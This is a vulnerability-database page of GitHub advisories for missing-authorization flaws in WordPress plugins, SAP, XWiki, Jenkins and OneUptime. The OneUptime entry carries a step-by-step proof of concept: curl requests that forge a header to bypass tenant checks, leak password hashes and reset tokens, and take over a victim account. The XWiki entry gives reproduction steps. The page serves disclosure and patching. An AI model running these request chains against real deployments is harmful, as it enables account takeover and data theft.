Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14693 vulnerabilities reference this CWE, most recent first.

GHSA-R593-5693-QV6X

Vulnerability from github – Published: 2025-05-19 18:30 – Updated: 2026-04-28 21:35
VLAI
Details

Missing Authorization vulnerability in jegtheme JNews.This issue affects JNews: from n/a through 11.6.5.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-39373"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-19T17:15:26Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in jegtheme JNews.This issue affects JNews: from n/a through 11.6.5.",
  "id": "GHSA-r593-5693-qv6x",
  "modified": "2026-04-28T21:35:37Z",
  "published": "2025-05-19T18:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39373"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/theme/jnews/vulnerability/wordpress-jnews-theme-11-6-5-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R597-FW99-924J

Vulnerability from github – Published: 2025-03-11 03:30 – Updated: 2025-03-11 03:30
VLAI
Details

Due to missing authorization check, SAP NetWeaver (ABAP Class Builder) allows an attacker to gain higher access levels than they should have, resulting in escalation of privileges. On successful exploitation, this could result in disclosure of highly sensitive information. It could also have a high impact on the integrity and availability of the application.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-26661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-11T01:15:35Z",
    "severity": "HIGH"
  },
  "details": "Due to missing authorization check, SAP NetWeaver (ABAP Class Builder) allows an attacker to gain higher access levels than they should have, resulting in escalation of privileges. On successful exploitation, this could result in disclosure of highly sensitive information. It could also have a high impact on the integrity and availability of the application.",
  "id": "GHSA-r597-fw99-924j",
  "modified": "2025-03-11T03:30:50Z",
  "published": "2025-03-11T03:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26661"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3563927"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5C3-C72Q-M3F4

Vulnerability from github – Published: 2024-06-11 15:31 – Updated: 2024-06-11 15:31
VLAI
Details

Missing Authorization vulnerability in HahnCreativeGroup WP Translate.This issue affects WP Translate: from n/a through 5.3.0.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-35663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-11T15:16:08Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in HahnCreativeGroup WP Translate.This issue affects WP Translate: from n/a through 5.3.0.",
  "id": "GHSA-r5c3-c72q-m3f4",
  "modified": "2024-06-11T15:31:15Z",
  "published": "2024-06-11T15:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35663"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-translate/wordpress-wp-translate-plugin-5-3-0-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5CR-XM48-97XP

Vulnerability from github – Published: 2025-04-30 16:49 – Updated: 2025-05-05 17:50
VLAI
Summary
XWiki missing authorization when accessing the wiki level attachments list and metadata via REST API
Details

Impact

Anyone can access the metadata of any attachment in the wiki using the wiki attachment REST endpoint. It's not filtering the result depending on current user rights, a not authenticated user could exploit this even in a totally private wiki.

To reproduce:

  • remove view from guest on the whole wiki
  • logout
  • access http://127.0.0.1:8080/xwiki/rest/wikis/xwiki/spaces/Sandbox/pages/WebHome/attachments

You get a list of attachments, while the expected result should be an empty list.

Patches

This vulnerability has been fixed in XWiki 14.10.22, 15.10.12, 16.7.0-rc-1 and 16.4.3.

Workarounds

We're not aware of any workaround except upgrading.

References

  • https://jira.xwiki.org/browse/XWIKI-22424
  • https://jira.xwiki.org/browse/XWIKI-22427
  • https://github.com/xwiki/xwiki-platform/commit/a43e933ddeda17dad1772396e1757998260e9342#diff-0

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Attribution

Issue reported by Lukas Monert.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-rest-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.8.1"
            },
            {
              "fixed": "14.10.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-rest-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.10.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-rest-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.0.0-rc-1"
            },
            {
              "fixed": "16.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-rest-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.5.0-rc-1"
            },
            {
              "fixed": "16.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46554"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-30T16:49:47Z",
    "nvd_published_at": "2025-04-30T19:15:55Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAnyone can access the metadata of any attachment in the wiki using the wiki attachment REST endpoint. It\u0027s not filtering the result depending on current user rights, a not authenticated user could exploit this even in a totally private wiki.\n\nTo reproduce:\n\n* remove view from guest on the whole wiki\n* logout\n* access http://127.0.0.1:8080/xwiki/rest/wikis/xwiki/spaces/Sandbox/pages/WebHome/attachments\n\nYou get a list of attachments, while the expected result should be an empty list.\n\n### Patches\n\nThis vulnerability has been fixed in XWiki 14.10.22, 15.10.12, 16.7.0-rc-1 and 16.4.3.\n\n### Workarounds\n\nWe\u0027re not aware of any workaround except upgrading.\n\n### References\n* https://jira.xwiki.org/browse/XWIKI-22424\n* https://jira.xwiki.org/browse/XWIKI-22427\n* https://github.com/xwiki/xwiki-platform/commit/a43e933ddeda17dad1772396e1757998260e9342#diff-0\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n\n### Attribution\n\nIssue reported by [Lukas Monert](https://github.com/LMonert).",
  "id": "GHSA-r5cr-xm48-97xp",
  "modified": "2025-05-05T17:50:17Z",
  "published": "2025-04-30T16:49:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-r5cr-xm48-97xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46554"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/37ecea84fdd053c33733c2ae9a0778bf98eae608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/a43e933ddeda17dad1772396e1757998260e9342"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/c02ce7843a39851865b9d7b6132e32fdd21e3856"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-22424"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-22427"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XWiki missing authorization when accessing the wiki level attachments list and metadata via REST API"
}

GHSA-R5GH-84RM-9GFG

Vulnerability from github – Published: 2023-07-12 09:30 – Updated: 2024-04-04 06:03
VLAI
Details

In telephony service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-30942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-12T09:15:11Z",
    "severity": "MODERATE"
  },
  "details": "In telephony service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.",
  "id": "GHSA-r5gh-84rm-9gfg",
  "modified": "2024-04-04T06:03:02Z",
  "published": "2023-07-12T09:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30942"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/1676902764208259073"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5PH-FC45-CWP3

Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2022-05-24 22:28
VLAI
Details

Insecure direct object reference vulnerability in Zyxel’s P1302-T10 v3 with firmware version 2.00(ABBX.3) and earlier allows attackers to gain privileges and access certain admin pages.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-20183"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-14T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Insecure direct object reference vulnerability in Zyxel\u2019s P1302-T10 v3 with firmware version 2.00(ABBX.3) and earlier allows attackers to gain privileges and access certain admin pages.",
  "id": "GHSA-r5ph-fc45-cwp3",
  "modified": "2022-05-24T22:28:56Z",
  "published": "2022-05-24T22:28:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-20183"
    },
    {
      "type": "WEB",
      "url": "https://www.zyxel.com/us/en/support/P1302-T10D-v3-modem-insecure-direct-object-reference-vulnerability.shtml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-R5PX-69PM-Q397

Vulnerability from github – Published: 2025-12-16 06:30 – Updated: 2026-04-08 18:34
VLAI
Details

The Auto Featured Image (Auto Post Thumbnail) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the bulk_action_generate_handler function in all versions up to, and including, 4.2.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete or generate featured images on posts they do not own.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-13794"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-16T06:15:42Z",
    "severity": "MODERATE"
  },
  "details": "The Auto Featured Image (Auto Post Thumbnail) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the bulk_action_generate_handler function in all versions up to, and including, 4.2.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete or generate featured images on posts they do not own.",
  "id": "GHSA-r5px-69pm-q397",
  "modified": "2026-04-08T18:34:01Z",
  "published": "2025-12-16T06:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13794"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/auto-post-thumbnail/tags/4.2.1/includes/class-plugin.php#L425"
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/cve-2025-13794"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/29b0fd97-a669-42bb-b01e-bdc0395d697e?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5R4-7HP9-Q2XP

Vulnerability from github – Published: 2024-03-09 09:30 – Updated: 2026-04-08 21:32
VLAI
Details

The EventPrime – Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the calendar_events_delete() function in all versions up to, and including, 3.4.3. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary posts.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-1125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-09T07:15:08Z",
    "severity": "MODERATE"
  },
  "details": "The EventPrime \u2013 Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the calendar_events_delete() function in all versions up to, and including, 3.4.3. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary posts.",
  "id": "GHSA-r5r4-7hp9-q2xp",
  "modified": "2026-04-08T21:32:19Z",
  "published": "2024-03-09T09:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1125"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3043888%40eventprime-event-calendar-management\u0026new=3043888%40eventprime-event-calendar-management\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b5278afb-9db3-4b1d-bb2f-e6595f0ac6dc?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5R6-V8QH-PMPQ

Vulnerability from github – Published: 2022-03-30 00:00 – Updated: 2022-11-29 21:52
VLAI
Summary
Missing permission checks in Jekins Bitbucket Server Integration Plugin
Details

Jenkins Bitbucket Server Integration Plugin 3.1.0 and earlier does not perform permission checks in several HTTP endpoints, allowing attackers with Overall/Read permission to create, view, and delete BitBucket Server consumers.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.jenkins.plugins:atlassian-bitbucket-server-integration"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-28134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-29T21:52:22Z",
    "nvd_published_at": "2022-03-29T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Bitbucket Server Integration Plugin 3.1.0 and earlier does not perform permission checks in several HTTP endpoints, allowing attackers with Overall/Read permission to create, view, and delete BitBucket Server consumers.",
  "id": "GHSA-r5r6-v8qh-pmpq",
  "modified": "2022-11-29T21:52:22Z",
  "published": "2022-03-30T00:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28134"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/atlassian-bitbucket-server-integration-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-03-29/#SECURITY-2640"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/03/29/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Missing permission checks in Jekins Bitbucket Server Integration Plugin"
}

GHSA-R5V6-2599-9G3M

Vulnerability from github – Published: 2026-03-10 01:09 – Updated: 2026-03-10 18:45
VLAI
Summary
OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header that leads to cross‑tenant data exposure and account takeover
Details

Summary

A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.

Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.

This allows attackers to:

  1. Access project data belonging to other tenants
  2. Read sensitive User fields via nested relations
  3. Leak plaintext resetPasswordToken
  4. Reset the victim’s password and fully take over the account

This results in cross‑tenant data exposure and full account takeover.

Details

Root cause

The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.

CommonAPI.ts

if (req.headers["is-multi-tenant-query"]) {
  props.isMultiTenantRequest = true;
}

BasePermission.ts

if (!props.isMultiTenantRequest) {
  TablePermission.checkTableLevelPermissions(...)
  QueryPermission.checkQueryPermission(...)
  SelectPermission.checkSelectPermission(...)
}

When the attacker sends:

is-multi-tenant-query: true

the system skips all authorization checks including:

  • Table permission validation
  • Query permission validation
  • Select permission validation
  • Tenant isolation enforcement

Additionally, tenant scoping is disabled in TenantPermission

Sensitive user data exposure

Projects marked with:

@MultiTenentQueryAllowed(true)

allow cross-tenant queries when the header is present.

The Project model contains a relation:

createdByUser

Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:

password
resetPasswordToken
webauthnChallenge

Reset token stored in plaintext

In the password reset flow:

Authentication.ts

resetPasswordToken: token

The reset token is stored in plaintext in the database.

During password reset:

/api/identity/reset-password

the server validates the provided token directly.

If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.

Exploitation chain

  1. Attacker bypasses tenant isolation using is-multi-tenant-query
  2. Attacker reads victim project
  3. Attacker selects createdByUser.resetPasswordToken
  4. Attacker triggers forgot-password for victim
  5. Attacker retrieves the fresh token via the same query
  6. Attacker calls /api/identity/reset-password
  7. Attacker sets a new password
  8. Attacker logs in as victim

This results in full account takeover.

PoC

Setup: - Local OneUptime v10.0.20 instance - Two normal accounts: - Attacker account owns Project A (7cb77c45-c2e0-42b5-8a28-57aa0dec6e82) - Victim account owns Project B (88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email victim@example.com

Chain 1: Direct Project Isolation Bypass

1. Read isolation bypass

curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {},
        "select": {
            "_id": true,
            "name": true,
            "createdOwnerEmail": true
        }
      }'

Result: Returns both the attacker's and victim's projects:

{
  "data": [
    {
      "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
      "name": "Victim Project",
      "createdOwnerEmail": { "value": "victim@example.com" }
    },
    {
      "_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
      "name": "Attacker Project",
      "createdOwnerEmail": { "value": "attacker@example.com" }
    }
  ],
  "count": 2
}
  1. Write isolation bypass

Victim project name is initially: Victim Project ORIGINAL

curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{"name":"Victim Project EXPLOIT"}'

Result: Victim project name is updated to "Victim Project EXPLOIT" despite the attacker not being a member of the victim project.

Chain 2: Account Takeover via Credential Leakage

  1. Trigger password reset for victim
curl -X POST http://localhost/api/identity/forgot-password \
  -H "content-type: application/json" \
  -d "{\"email\":\"victim@example.com\"}"
  1. Leak victim password hash and reset token via tenant bypass
curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23"},
        "select": {
          "_id": true,
          "createdByUser": {
            "email": true,
            "password": true,
            "resetPasswordToken": true
          }
        }
      }'

Result: Sensitive user data is exposed:

{
  "data": [{
    "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
    "createdByUser": {
      "email": {"value": "victim@example.com"},
      "password": {"value": "faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9"},
      "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb"
    }
  }]
}
  1. Take over victim account using leaked token
# Reset password with leaked token
curl -X POST http://localhost/api/identity/reset-password \
  -H "content-type: application/json" \
  -d '{
    "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb",
    "password": "AttackerChosenPassword123!"
  }'

# Login as victim with new password
curl -X POST http://localhost/api/identity/login \
  -H "content-type: application/json" \
  -d '{
    "email": "victim@example.com",
    "password": "AttackerChosenPassword123!"
  }'

Result: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.

Result: Victim project name is updated despite the attacker not being a member of the victim project.

Impact

This vulnerability allows a low‑privileged authenticated user to:

  • bypass tenant isolation
  • access other tenant projects
  • read sensitive user credential fields
  • leak plaintext reset tokens
  • reset victim passwords
  • fully take over victim accounts

Because OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@oneuptime/common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T01:09:40Z",
    "nvd_published_at": "2026-03-10T18:18:54Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA low\u2011privileged user can bypass authorization and tenant isolation in OneUptime `v10.0.20` by sending a forged `is-multi-tenant-query` header together with a controlled `projectid` header.\n\nBecause the server trusts this client-supplied header, internal permission checks in `BasePermission` are skipped and tenant scoping is disabled.\n\nThis allows attackers to:\n\n1. Access project data belonging to other tenants\n2. Read sensitive User fields via nested relations\n3. Leak plaintext resetPasswordToken\n4. Reset the victim\u2019s password and fully take over the account\n\nThis results in cross\u2011tenant data exposure and full account takeover.\n\n### Details\n\nRoot cause\n\nThe API trusts a client\u2011controlled header to determine whether a request should bypass authorization checks.\n\nCommonAPI.ts\n```\nif (req.headers[\"is-multi-tenant-query\"]) {\n  props.isMultiTenantRequest = true;\n}\n```\nBasePermission.ts\n```\nif (!props.isMultiTenantRequest) {\n  TablePermission.checkTableLevelPermissions(...)\n  QueryPermission.checkQueryPermission(...)\n  SelectPermission.checkSelectPermission(...)\n}\n```\nWhen the attacker sends:\n```\nis-multi-tenant-query: true\n```\nthe system skips all authorization checks including:\n\n- Table permission validation\n- Query permission validation\n- Select permission validation\n- Tenant isolation enforcement\n\nAdditionally, tenant scoping is disabled in `TenantPermission`\n\nSensitive user data exposure\n\nProjects marked with:\n```\n@MultiTenentQueryAllowed(true)\n```\nallow cross-tenant queries when the header is present.\n\nThe Project model contains a relation:\n```\ncreatedByUser\n```\nBecause select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:\n```\npassword\nresetPasswordToken\nwebauthnChallenge\n```\n\nReset token stored in plaintext\n\nIn the password reset flow:\n\nAuthentication.ts\n```\nresetPasswordToken: token\n```\nThe reset token is stored in plaintext in the database.\n\nDuring password reset:\n```\n/api/identity/reset-password\n```\nthe server validates the provided token directly.\n\nIf an attacker leaks this token through the authorization bypass, they can immediately reset the victim\u2019s password.\n\nExploitation chain\n\n1. Attacker bypasses tenant isolation using is-multi-tenant-query\n2. Attacker reads victim project\n3. Attacker selects createdByUser.resetPasswordToken\n4. Attacker triggers forgot-password for victim\n5. Attacker retrieves the fresh token via the same query\n6. Attacker calls /api/identity/reset-password\n7. Attacker sets a new password\n8. Attacker logs in as victim\n\nThis results in full account takeover.\n\n### PoC\n\n**Setup:**\n- Local OneUptime v10.0.20 instance\n- Two normal accounts:\n  - Attacker account owns Project A (`7cb77c45-c2e0-42b5-8a28-57aa0dec6e82`)\n  - Victim account owns Project B (`88ced36b-4c0a-4c12-bdf1-497d60b10b23`) with email `victim@example.com`\n\n---\n\n#### Chain 1: Direct Project Isolation Bypass\n\n**1. Read isolation bypass**\n\n```bash\ncurl -X POST http://localhost/api/project/get-list \\\n  -H \"authorization: Bearer \u003cattacker_token\u003e\" \\\n  -H \"projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\" \\\n  -H \"is-multi-tenant-query: true\" \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\n        \"query\": {},\n        \"select\": {\n            \"_id\": true,\n            \"name\": true,\n            \"createdOwnerEmail\": true\n        }\n      }\u0027\n```\nResult: Returns both the attacker\u0027s and victim\u0027s projects:\n```json\n{\n  \"data\": [\n    {\n      \"_id\": \"88ced36b-4c0a-4c12-bdf1-497d60b10b23\",\n      \"name\": \"Victim Project\",\n      \"createdOwnerEmail\": { \"value\": \"victim@example.com\" }\n    },\n    {\n      \"_id\": \"7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\",\n      \"name\": \"Attacker Project\",\n      \"createdOwnerEmail\": { \"value\": \"attacker@example.com\" }\n    }\n  ],\n  \"count\": 2\n}\n```\n2. Write isolation bypass\n\nVictim project name is initially: Victim Project ORIGINAL\n```\ncurl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \\\n  -H \"authorization: Bearer \u003cattacker_token\u003e\" \\\n  -H \"projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\" \\\n  -H \"is-multi-tenant-query: true\" \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\"name\":\"Victim Project EXPLOIT\"}\u0027\n```\nResult: Victim project name is updated to \"Victim Project EXPLOIT\" despite the attacker not being a member of the victim project.\n\n#### Chain 2: Account Takeover via Credential Leakage\n\n3. Trigger password reset for victim\n```\ncurl -X POST http://localhost/api/identity/forgot-password \\\n  -H \"content-type: application/json\" \\\n  -d \"{\\\"email\\\":\\\"victim@example.com\\\"}\"\n```\n4. Leak victim password hash and reset token via tenant bypass\n```\ncurl -X POST http://localhost/api/project/get-list \\\n  -H \"authorization: Bearer \u003cattacker_token\u003e\" \\\n  -H \"projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\" \\\n  -H \"is-multi-tenant-query: true\" \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\n        \"query\": {\"_id\": \"88ced36b-4c0a-4c12-bdf1-497d60b10b23\"},\n        \"select\": {\n          \"_id\": true,\n          \"createdByUser\": {\n            \"email\": true,\n            \"password\": true,\n            \"resetPasswordToken\": true\n          }\n        }\n      }\u0027\n```\nResult: Sensitive user data is exposed:\n```\n{\n  \"data\": [{\n    \"_id\": \"88ced36b-4c0a-4c12-bdf1-497d60b10b23\",\n    \"createdByUser\": {\n      \"email\": {\"value\": \"victim@example.com\"},\n      \"password\": {\"value\": \"faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9\"},\n      